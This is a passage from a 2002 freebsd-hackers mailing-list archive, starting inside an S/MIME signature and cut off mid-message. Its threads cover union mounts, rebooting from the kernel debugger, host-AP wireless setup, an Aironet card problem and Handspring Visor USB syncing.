hkiG9w0BCQEWDWxhcnNlQGlzaS5lZHUwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBANAL ywbA+/J8XFB3h5GjIJd2+KmD534G3/C4fh0D/EYBjERv2G/r06ZBns5cLfaZCcYg9dbmQ8uA jTSVLt4CsSkm/s0Ve9DvpZMMH7bh6Cx6B+McKNy3ENixg6XfiPebVDeHXyd05nhHFEhedHQv 0rlCOMPAJYV0PCMa4YHWsk6RAgMBAAGjVjBUMCoGBStlAQQBBCEwHwIBADAaMBgCAQQEE0wy dU15ZmZCTlViTkpKY2RaMnMwGAYDVR0RBBEwD4ENbGFyc2VAaXNpLmVkdTAMBgNVHRMBAf8E AjAAMA0GCSqGSIb3DQEBAgUAA4GBAIXmYZ9KUAPMyO1NitWSAJddY9GtQysZ6dxrU7zlKxkQ d1r2MYnb3WdZIs4RLFnl1PNU5DQx9A2karThHrukNjoQfo3ihKmOyAwCROP3yNHvnej5xtYX frxL2JrCh5JswYT3PeF1DijVjvqlTT9jRsjSN0CA8ucF+H3XDqNUt+K+MIIDODCCAqGgAwIB AgIQZkVyt8x09c9jdkWE0C6RATANBgkqhkiG9w0BAQQFADCB0TELMAkGA1UEBhMCWkExFTAT BgNVBAgTDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBxMJQ2FwZSBUb3duMRowGAYDVQQKExFUaGF3 dGUgQ29uc3VsdGluZzEoMCYGA1UECxMfQ2VydGlmaWNhdGlvbiBTZXJ2aWNlcyBEaXZpc2lv bjEkMCIGA1UEAxMbVGhhd3RlIFBlcnNvbmFsIEZyZWVtYWlsIENBMSswKQYJKoZIhvcNAQkB FhxwZXJzb25hbC1mcmVlbWFpbEB0aGF3dGUuY29tMB4XDTAwMDgzMDAwMDAwMFoXDTA0MDgy NzIzNTk1OVowgZIxCzAJBgNVBAYTAlpBMRUwEwYDVQQIEwxXZXN0ZXJuIENhcGUxEjAQBgNV BAcTCUNhcGUgVG93bjEPMA0GA1UEChMGVGhhd3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBT ZXJ2aWNlczEoMCYGA1UEAxMfUGVyc29uYWwgRnJlZW1haWwgUlNBIDIwMDAuOC4zMDCBnzAN BgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEA3jMypmPHCSVFPtJueCdngcXaiBmClw7jRCmKYzUq bXA8+tyu9+50bzC8M5B/+TRxoKNtmPHDT6Jl2w36S/HW3WGl+YXNVZo1Gp2Sdagnrthy+boC 9tewkd4c6avgGAOofENCUFGHgzzwObSbVIoTh/+zm51JZgAtCYnslGvpoWkCAwEAAaNOMEww KQYDVR0RBCIwIKQeMBwxGjAYBgNVBAMTEVByaXZhdGVMYWJlbDEtMjk3MBIGA1UdEwEB/wQI MAYBAf8CAQAwCwYDVR0PBAQDAgEGMA0GCSqGSIb3DQEBBAUAA4GBADGxS0dd+QFx5fVTbF15 1j2YwCYTYoEipxL4IpXoG0m3J3sEObr85vIk65H6vewNKjj3UFWobPcNrUwbvAP0teuiR59s ogxYjTFCCRFssBpp0SsSskBdavl50OouJd2K5PzbDR+dAvNa28o89kTqJmmHf0iezqWf54TY yWJirQXGMYICpjCCAqICAQEwgZowgZIxCzAJBgNVBAYTAlpBMRUwEwYDVQQIEwxXZXN0ZXJu IENhcGUxEjAQBgNVBAcTCUNhcGUgVG93bjEPMA0GA1UEChMGVGhhd3RlMR0wGwYDVQQLExRD ZXJ0aWZpY2F0ZSBTZXJ2aWNlczEoMCYGA1UEAxMfUGVyc29uYWwgRnJlZW1haWwgUlNBIDIw MDAuOC4zMAIDBYFHMAkGBSsOAwIaBQCgggFhMBgGCSqGSIb3DQEJAzELBgkqhkiG9w0BBwEw HAYJKoZIhvcNAQkFMQ8XDTAyMDYyNjIzMDUzMVowIwYJKoZIhvcNAQkEMRYEFMlanIwVDIoZ CFSc17RoC/pkGTKNMFIGCSqGSIb3DQEJDzFFMEMwCgYIKoZIhvcNAwcwDgYIKoZIhvcNAwIC AgCAMA0GCCqGSIb3DQMCAgFAMAcGBSsOAwIHMA0GCCqGSIb3DQMCAgEoMIGtBgsqhkiG9w0B CRACCzGBnaCBmjCBkjELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdlc3Rlcm4gQ2FwZTESMBAG A1UEBxMJQ2FwZSBUb3duMQ8wDQYDVQQKEwZUaGF3dGUxHTAbBgNVBAsTFENlcnRpZmljYXRl IFNlcnZpY2VzMSgwJgYDVQQDEx9QZXJzb25hbCBGcmVlbWFpbCBSU0EgMjAwMC44LjMwAgMF gUcwDQYJKoZIhvcNAQEBBQAEgYDOEE89vv1yRe4raCohBE6aqHT5M0odgwAalsuKKuQk41CB sbpqyIbC256IOFIAN1yXJKdnfcKITjsrphO0yIOsUCBOCxp5Cz1xSfN4BxRJFr6Snyz+G7iH dQcVdlOT3C3sD9p415yezpRLTHc+vcklfk34vNg312AqRzR1olyVvgAAAAAAAA== --------------ms010601000904070405080908-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Jun 27 2:47: 4 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from dexter.zoopee.org (zoopee.org [192.117.108.58]) by hub.freebsd.org (Postfix) with ESMTP id 24F0937B401 for ; Thu, 27 Jun 2002 02:46:48 -0700 (PDT) Received: from alsbergt by dexter.zoopee.org with local (Exim 3.34 #2) id 17NVrR-0000U3-00 for freebsd-hackers@freebsd.org; Thu, 27 Jun 2002 12:46:45 +0300 Date: Fri, 21 Jun 2002 14:58:45 +0300 From: Tom Alsberg To: FreeBSD Hackers List Subject: Union filesystem / mount option Message-ID: <20020621115845.GA17902@zoopee.org> Reply-To: Tom Alsberg Mail-Followup-To: Tom Alsberg , FreeBSD Hackers List Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4i Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi there. I would like some clarification with regard to the union filesystem and mount option. First - what is the difference in principle between mounting with the union option (mount -o union) and the union filesystem type (mount_union)? Second - is there a way to have more than two filesystems stacked in a union? So that all writes will go to the upper layer, and reads will go down the stack until a lookup succeeds? That is - a way other than the inelegant and probably sub-optimal way of attaching some filesystem over an already-union filesystem to create another one? Thank you, any help appreciated, -- Tom -- Tom Alsberg - certified insane, complete illiterate. e-mail: Homepage: http://www.cs.huji.ac.il/~alsbergt/ * An idea is not responsible for the people who believe in it. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Jun 27 9:21: 0 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from cse.cs.huji.ac.il (cse.cs.huji.ac.il [132.65.16.30]) by hub.freebsd.org (Postfix) with ESMTP id A798A37B40B for ; Thu, 27 Jun 2002 09:20:51 -0700 (PDT) Received: from pampa.cs.huji.ac.il ([132.65.80.32] ident=danny) by cse.cs.huji.ac.il with esmtp id 17Nc0o-000BpG-00 for freebsd-hackers@freebsd.org; Thu, 27 Jun 2002 19:20:50 +0300 X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: freebsd-hackers@freebsd.org Subject: reboot frm ddb Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 27 Jun 2002 19:20:50 +0300 From: Danny Braniss Message-Id: Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG hi, how can i reboot - from the serial console - once im in the kernel debugger? thanks, danny To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Jun 27 9:26:38 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from elvis.mu.org (elvis.mu.org [192.203.228.196]) by hub.freebsd.org (Postfix) with ESMTP id 4E35B37B406 for ; Thu, 27 Jun 2002 09:26:34 -0700 (PDT) Received: by elvis.mu.org (Postfix, from userid 1192) id 37E00AE216; Thu, 27 Jun 2002 09:26:34 -0700 (PDT) Date: Thu, 27 Jun 2002 09:26:34 -0700 From: Alfred Perlstein To: Danny Braniss Cc: freebsd-hackers@freebsd.org Subject: Re: reboot frm ddb Message-ID: <20020627162634.GN18877@elvis.mu.org> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.27i Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG * Danny Braniss [020627 09:21] wrote: > hi, > how can i reboot - from the serial console - once im in the kernel > debugger? type 'panic' or 'sync' or 'boot' one of those should work. -- -Alfred Perlstein [alfred@freebsd.org] 'Instead of asking why a piece of software is using "1970s technology," start asking why software is ignoring 30 years of accumulated wisdom.' Tax deductible donations for FreeBSD: http://www.freebsdfoundation.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Jun 27 9:28: 7 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from fledge.watson.org (fledge.watson.org [204.156.12.50]) by hub.freebsd.org (Postfix) with ESMTP id 056C637B401 for ; Thu, 27 Jun 2002 09:27:51 -0700 (PDT) Received: from fledge.watson.org (localhost [127.0.0.1]) by fledge.watson.org (8.12.4/8.12.4) with ESMTP id g5RGRcbL009162; Thu, 27 Jun 2002 12:27:38 -0400 (EDT) (envelope-from arr@watson.org) Received: from localhost (arr@localhost) by fledge.watson.org (8.12.4/8.12.4/Submit) with SMTP id g5RGRchB009159; Thu, 27 Jun 2002 12:27:38 -0400 (EDT) X-Authentication-Warning: fledge.watson.org: arr owned process doing -bs Date: Thu, 27 Jun 2002 12:27:37 -0400 (EDT) From: "Andrew R. Reiter" To: Danny Braniss Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: reboot frm ddb In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Thu, 27 Jun 2002, Danny Braniss wrote: :hi, : how can i reboot - from the serial console - once im in the kernel :debugger? : :thanks, : : danny : If you're on a new enough version of FreeBSD (excuse my lack of knowing which exact version provide this feature), you can just type "reset" at the ddb prompt and have it reboot. Otherwise, you'll probably just have to: "call cpu_reset" -- Andrew R. Reiter arr@watson.org arr@FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Jun 27 9:36: 0 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.asitatech.com (mail.asitatech.ie [193.120.151.1]) by hub.freebsd.org (Postfix) with ESMTP id D178637B400 for ; Thu, 27 Jun 2002 09:35:54 -0700 (PDT) Received: from yoda.asitatech.ie ([192.168.127.212]) by mail.asitatech.com (Merak 4.2.3) with ESMTP id FJA37319 for ; Thu, 27 Jun 2002 17:33:02 +0100 Received: by yoda.asitatech.ie (Postfix, from userid 1001) id 3A3035BB3; Thu, 27 Jun 2002 17:37:49 +0000 (GMT) Date: Thu, 27 Jun 2002 17:37:49 +0000 From: Sergey Lyubka To: freebsd-hackers@FreeBSD.ORG Subject: Re: reboot frm ddb Message-ID: <20020627173749.GG68073@yoda.asitatech.ie> Mail-Followup-To: freebsd-hackers@FreeBSD.ORG References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.27i X-OS: FreeBSD 4.5-STABLE Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Thu, Jun 27, 2002 at 12:27:37PM -0400, Andrew R. Reiter wrote: > On Thu, 27 Jun 2002, Danny Braniss wrote: > > :hi, > : how can i reboot - from the serial console - once im in the kernel > :debugger? > : > :thanks, > : > : danny > : > > If you're on a new enough version of FreeBSD (excuse my lack of knowing > which exact version provide this feature), you can just type "reset" at > the ddb prompt and have it reboot. Otherwise, you'll probably just have > to: "call cpu_reset" > BTW, if the page fault in kernel mode occurs. is it any way to sync discs before reset ? -- Sergey Lyubka Asita Technologies Int, Galway, Ireland To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Jun 27 9:49:27 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from fledge.watson.org (fledge.watson.org [204.156.12.50]) by hub.freebsd.org (Postfix) with ESMTP id 2D64E37B405 for ; Thu, 27 Jun 2002 09:49:12 -0700 (PDT) Received: from fledge.watson.org (localhost [127.0.0.1]) by fledge.watson.org (8.12.4/8.12.4) with ESMTP id g5RGn1bL009391; Thu, 27 Jun 2002 12:49:02 -0400 (EDT) (envelope-from arr@watson.org) Received: from localhost (arr@localhost) by fledge.watson.org (8.12.4/8.12.4/Submit) with SMTP id g5RGn13a009388; Thu, 27 Jun 2002 12:49:01 -0400 (EDT) X-Authentication-Warning: fledge.watson.org: arr owned process doing -bs Date: Thu, 27 Jun 2002 12:49:00 -0400 (EDT) From: "Andrew R. Reiter" To: Sergey Lyubka Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: reboot frm ddb In-Reply-To: <20020627173749.GG68073@yoda.asitatech.ie> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Thu, 27 Jun 2002, Sergey Lyubka wrote: :On Thu, Jun 27, 2002 at 12:27:37PM -0400, Andrew R. Reiter wrote: :> On Thu, 27 Jun 2002, Danny Braniss wrote: :> :> :hi, :> : how can i reboot - from the serial console - once im in the kernel :> :debugger? :> : :> :thanks, :> : :> : danny :> : :> :> If you're on a new enough version of FreeBSD (excuse my lack of knowing :> which exact version provide this feature), you can just type "reset" at :> the ddb prompt and have it reboot. Otherwise, you'll probably just have :> to: "call cpu_reset" :> : :BTW, if the page fault in kernel mode occurs. :is it any way to sync discs before reset ? : If you "call boot(0)" -- that should try to sync for you. --- Andrew R. Reiter arr@watson.org arr@FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Jun 27 11:21: 3 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from rwcrmhc51.attbi.com (rwcrmhc51.attbi.com [204.127.198.38]) by hub.freebsd.org (Postfix) with ESMTP id 926AA37B407 for ; Thu, 27 Jun 2002 11:20:09 -0700 (PDT) Received: from InterJet.elischer.org ([12.232.206.8]) by rwcrmhc51.attbi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020627182009.MDXX9178.rwcrmhc51.attbi.com@InterJet.elischer.org>; Thu, 27 Jun 2002 18:20:09 +0000 Received: from localhost (localhost.elischer.org [127.0.0.1]) by InterJet.elischer.org (8.9.1a/8.9.1) with ESMTP id LAA69830; Thu, 27 Jun 2002 11:04:29 -0700 (PDT) Date: Thu, 27 Jun 2002 11:04:29 -0700 (PDT) From: Julian Elischer To: Danny Braniss Cc: freebsd-hackers@freebsd.org Subject: Re: reboot frm ddb In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG try call boot 0 sometimes you need to do it more than once (?) On Thu, 27 Jun 2002, Danny Braniss wrote: > hi, > how can i reboot - from the serial console - once im in the kernel > debugger? > > thanks, > > danny > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Jun 27 16:10:22 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from ussenterprise.ufp.org (ussenterprise.ufp.org [208.185.30.210]) by hub.freebsd.org (Postfix) with ESMTP id C90F837B408 for ; Thu, 27 Jun 2002 16:10:17 -0700 (PDT) Received: (from bicknell@localhost) by ussenterprise.ufp.org (8.11.1/8.11.1) id g5RNAGJ89077 for freebsd-hackers@freebsd.org; Thu, 27 Jun 2002 19:10:16 -0400 (EDT) (envelope-from bicknell) Date: Thu, 27 Jun 2002 19:10:16 -0400 From: Leo Bicknell To: freebsd-hackers@freebsd.org Subject: Using FreeBSD as a base station Message-ID: <20020627231016.GA88999@ussenterprise.ufp.org> Mail-Followup-To: freebsd-hackers@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Organization: United Federation of Planets Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I have for some time using a Orinoco card as a "base station" at home. For those familiar with the wi driver, you know that it does not operate in AP mode with FreeBSD, but rather Ad Hoc. I believe progress is being made, but not done yet. I now have a need to set up a couple of systems as AP's, and I'm thinking I should pick a card with better functionality. What's the recomendation on the best supported card to make a FreeBSD AP? -- Leo Bicknell - bicknell@ufp.org - CCIE 3440 PGP keys at http://www.ufp.org/~bicknell/ Read TMBG List - tmbg-list-request@tmbg.org, www.tmbg.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Jun 27 16:20:52 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from rwcrmhc52.attbi.com (rwcrmhc52.attbi.com [216.148.227.88]) by hub.freebsd.org (Postfix) with ESMTP id B48AD37B406 for ; Thu, 27 Jun 2002 16:20:08 -0700 (PDT) Received: from InterJet.elischer.org ([12.232.206.8]) by rwcrmhc52.attbi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020627232008.DBAK8262.rwcrmhc52.attbi.com@InterJet.elischer.org>; Thu, 27 Jun 2002 23:20:08 +0000 Received: from localhost (localhost.elischer.org [127.0.0.1]) by InterJet.elischer.org (8.9.1a/8.9.1) with ESMTP id QAA71233; Thu, 27 Jun 2002 16:13:52 -0700 (PDT) Date: Thu, 27 Jun 2002 16:13:51 -0700 (PDT) From: Julian Elischer To: Leo Bicknell Cc: freebsd-hackers@freebsd.org Subject: Re: Using FreeBSD as a base station In-Reply-To: <20020627231016.GA88999@ussenterprise.ufp.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG there is code to do 'host-AP' mode for cards based on the Prism-II chip. disclamer: I have not used it. On Thu, 27 Jun 2002, Leo Bicknell wrote: > > I have for some time using a Orinoco card as a "base station" at > home. For those familiar with the wi driver, you know that it does > not operate in AP mode with FreeBSD, but rather Ad Hoc. I believe > progress is being made, but not done yet. > > I now have a need to set up a couple of systems as AP's, and I'm > thinking I should pick a card with better functionality. What's > the recomendation on the best supported card to make a FreeBSD > AP? > > -- > Leo Bicknell - bicknell@ufp.org - CCIE 3440 > PGP keys at http://www.ufp.org/~bicknell/ > Read TMBG List - tmbg-list-request@tmbg.org, www.tmbg.org > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Jun 27 16:27:57 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from starbug.ugh.net.au (starbug.ugh.net.au [203.31.238.37]) by hub.freebsd.org (Postfix) with ESMTP id BF0AB37B405 for ; Thu, 27 Jun 2002 16:27:52 -0700 (PDT) Received: by starbug.ugh.net.au (Postfix, from userid 1000) id 2C603A810; Fri, 28 Jun 2002 09:27:51 +1000 (EST) Received: from localhost (localhost [127.0.0.1]) by starbug.ugh.net.au (Postfix) with ESMTP id 2ACD8542F; Fri, 28 Jun 2002 09:27:51 +1000 (EST) Date: Fri, 28 Jun 2002 09:27:51 +1000 (EST) From: Andrew To: Julian Elischer Cc: Leo Bicknell , Subject: Re: Using FreeBSD as a base station In-Reply-To: Message-ID: <20020628092507.U69874-100000@starbug.ugh.net.au> X-WonK: *wibble* MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Thu, 27 Jun 2002, Julian Elischer wrote: > there is code to do 'host-AP' mode for cards based on the Prism-II > chip. > > disclamer: I have not used it. I have (with the Linksys WMP11) and it works well. ifconfig wi0 int 10.0.1.1 netmask 255.255.255.0 stationname `hostname -s` ssid UgH! mediaopt hostap Andrew To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Jun 27 16:30:58 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from mobile.webweaving.org (fia224-72.dsl.hccnet.nl [62.251.72.224]) by hub.freebsd.org (Postfix) with ESMTP id A4A5C37B401 for ; Thu, 27 Jun 2002 16:30:55 -0700 (PDT) Received: from localhost.leiden.webweaving.org (localhost.leiden.webweaving.org [127.0.0.1] (may be forged)) by mobile.webweaving.org (8.12.2/8.10.2) with ESMTP id g5RNUAKI004777; Fri, 28 Jun 2002 01:30:10 +0200 (CEST) X-Curiosity: Killed the Cat X-Huis-aan-Huis-deur-sticker: nee-nee X-Spam: no X-Passed: MX on Gandalf.WebWeaving.org Fri, 28 Jun 2002 01:30:10 +0200 (CEST) and masked X-No-Spam: Neither the receipients nor the senders email address(s) are to be used for Unsolicited (Commercial) Email without the explicit written consent of either party; as a per-message fee is incurred for inbound and outbound traffic to the originator. Date: Fri, 28 Jun 2002 01:30:10 +0200 (CEST) From: dirkx@covalent.net X-X-Sender: dirkx@mobile.webweaving.org To: andrew@ugh.net.au Cc: julian@elischer.org, bicknell@ufp.org, freebsd-hackers@FreeBSD.ORG Subject: Re: Using FreeBSD as a base station In-Reply-To: <20020628092507.U69874-100000@starbug.ugh.net.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > On Thu, 27 Jun 2002, Julian Elischer wrote: > > > there is code to do 'host-AP' mode for cards based on the Prism-II > > chip. > > > > disclamer: I have not used it. > > I have (with the Linksys WMP11) and it works well. > > ifconfig wi0 int 10.0.1.1 netmask 255.255.255.0 stationname `hostname -s` > ssid UgH! mediaopt hostap Or wicontrol -p 6 Dw. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Jun 27 19:45:43 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from ambrisko.com (adsl-64-174-51-42.dsl.snfc21.pacbell.net [64.174.51.42]) by hub.freebsd.org (Postfix) with ESMTP id 523EF37B400 for ; Thu, 27 Jun 2002 19:45:39 -0700 (PDT) Received: (from ambrisko@localhost) by ambrisko.com (8.11.6/8.11.6) id g5S2hvi58312; Thu, 27 Jun 2002 19:43:57 -0700 (PDT) (envelope-from ambrisko) From: Doug Ambrisko Message-Id: <200206280243.g5S2hvi58312@ambrisko.com> Subject: Re: PCI4800 In-Reply-To: <002901c21c6e$f391e3c0$02020101@dimasic> To: "Dmitry A. Bondareff" Date: Thu, 27 Jun 2002 19:43:57 -0700 (PDT) Cc: freebsd-hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL94b (25)] MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Dmitry A. Bondareff writes: | Last 3 days I was trying to connect an Aironet card PCI4800 with Cisco | Aironet series 340. | No success! | | Does anybody do it ?? I have a PCI Cisco version that talks to various other cards without problem. Some more info would be helpfull like if your are using WEP etc. The old the older Aironet 4800A cards could only do WEP up to 2mbs. You might also upgade the firmware on the card via "airoflash" in ports. Doug A. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Jun 27 20:21:32 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from mta01.fuse.net (mx1.fuse.net [216.68.2.90]) by hub.freebsd.org (Postfix) with ESMTP id 1DAD937B405 for ; Thu, 27 Jun 2002 20:21:11 -0700 (PDT) Received: from rusty.am-productions.yi.org ([216.196.152.218]) by mta01.fuse.net (InterMail vM.5.01.03.01 201-253-122-118-101-20010319) with ESMTP id <20020628031731.MEKT21788.mta01.fuse.net@rusty.am-productions.yi.org>; Thu, 27 Jun 2002 23:17:31 -0400 Content-Type: text/plain; charset="iso-8859-1" From: Anish Mistry To: Fred Clift Subject: Re: Visor USB Problems Date: Thu, 27 Jun 2002 23:18:23 -0400 User-Agent: KMail/1.4.1 References: <20020626151220.N45712-100000@vespa.dmz.orem.verio.net> In-Reply-To: <20020626151220.N45712-100000@vespa.dmz.orem.verio.net> Cc: freebsd-hackers@freebsd.org MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Message-Id: <200206272318.23984.mistry.7@osu.edu> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Yeah, I can get coldsync to work correctly on my machine. I sorta figure= d out=20 the problem. If I launch pilot-link from the usbd.conf it will work for = a=20 few read/writes, but then it can't read anymore and the Visor times out. The output created by syslogd when I inserted output statements: Jun 27 22:12:14 rusty lt-pilot-xfer: usb open Jun 27 22:12:14 rusty lt-pilot-xfer: Reading data (5:1) ... Jun 27 22:12:14 rusty lt-pilot-xfer: 10:1 Jun 27 22:12:14 rusty lt-pilot-xfer: Writing data (5:24) ... Jun 27 22:12:14 rusty lt-pilot-xfer: Reading data (5:3) ... Jun 27 22:12:14 rusty lt-pilot-xfer: Reading data (5:1) ... Jun 27 22:12:14 rusty last message repeated 6 times Jun 27 22:12:14 rusty lt-pilot-xfer: 14:1 Jun 27 22:12:14 rusty lt-pilot-xfer: Reading data (5:1) ... Jun 27 22:12:14 rusty last message repeated 13 times Jun 27 22:12:14 rusty lt-pilot-xfer: 2:1 Jun 27 22:12:14 rusty lt-pilot-xfer: Reading data (5:1) ... Jun 27 22:12:14 rusty lt-pilot-xfer: Reading data (5:1) ... Jun 27 22:12:44 rusty lt-pilot-xfer: -1:1 Jun 27 22:12:44 rusty lt-pilot-xfer: usb read error Jun 27 22:12:44 rusty lt-pilot-xfer: Writing data (5:24) ... Jun 27 22:12:44 rusty lt-pilot-xfer: Reading data (5:3) ... Jun 27 22:12:44 rusty lt-pilot-xfer: -1:3 =2E... a few more of the last 4 lines and then fails the Visor will timeo= ut. Thanks, --=20 Anish Mistry On Wednesday 26 June 2002 05:15 pm, you wrote: > I have my visor coldsyncing via usb on my 4.6-RC3 box just fine -- have > you been able to get coldsync to work at all? If not, start by getting > that to happen. The main pain I had was trying to hit the race conditi= on > of when ugen0.X is writable - the ugen driver is configured for so shor= t a > period of time after the sync button is pressed that I could never do i= t > manually. >=20 > I ended up putting a claus like this in my usbd.conf: >=20 >=20 >=20 > device "Handspring Visor" > vendor 0x082d > product 0x0100 > release 0x0100 > #syncing > attach "/usr/local/bin/coldsync -t usb -svv -l /tmp/usb.log -f > /usr/home/fred/.coldsyncrc -md ${DEVNAME} " >=20 > #initalize > # attach "/usr/local/bin/coldsync -t usb -svv -l /tmp/usb.log -f > /usr/home/fred/.coldsyncrc -mI ${DEVNAME}" >=20 > #backup > # attach "/usr/local/bin/coldsync -t usb -svv -l /tmp/usb.log -f > /usr/home/fred/.coldsyncrc -mb /usr/home/fred/palmbak ROM" >=20 >=20 > You need to do the 'initialze' like one time, and then comment it out a= nd > uncomment the syncing line. From then on out it worked (had to fiddle > with a bunch of stuff including my coldsyncrc and /usr/local/etc/palms) >=20 >=20 > Does this help at all? >=20 >=20 > Fred >=20 >=20 > On Sat, 22 Jun 2002, Anish Mistry wrote: >=20 > > I am having some trouble reading data from a Handspring Visor Platinu= m. =20 What > > I am trying to do is make the necessary modifications to pilot-link s= o=20 that > > it will work with the usb on FreeBSD. My problem is that I can open = a > > connection to the /dev/ugen0.2 endpoint, but whenever I try to call a= =20 read() > > it returns with error 5 (Input/Output Error). I used the coldsync co= de as=20 a > > base, but the read keeps failing. I can post the code, I just wanted= to=20 see > > if there were anyone with a similar problem. I have checked the=20 permissions > > on the device nodes and they are fine, the same problem 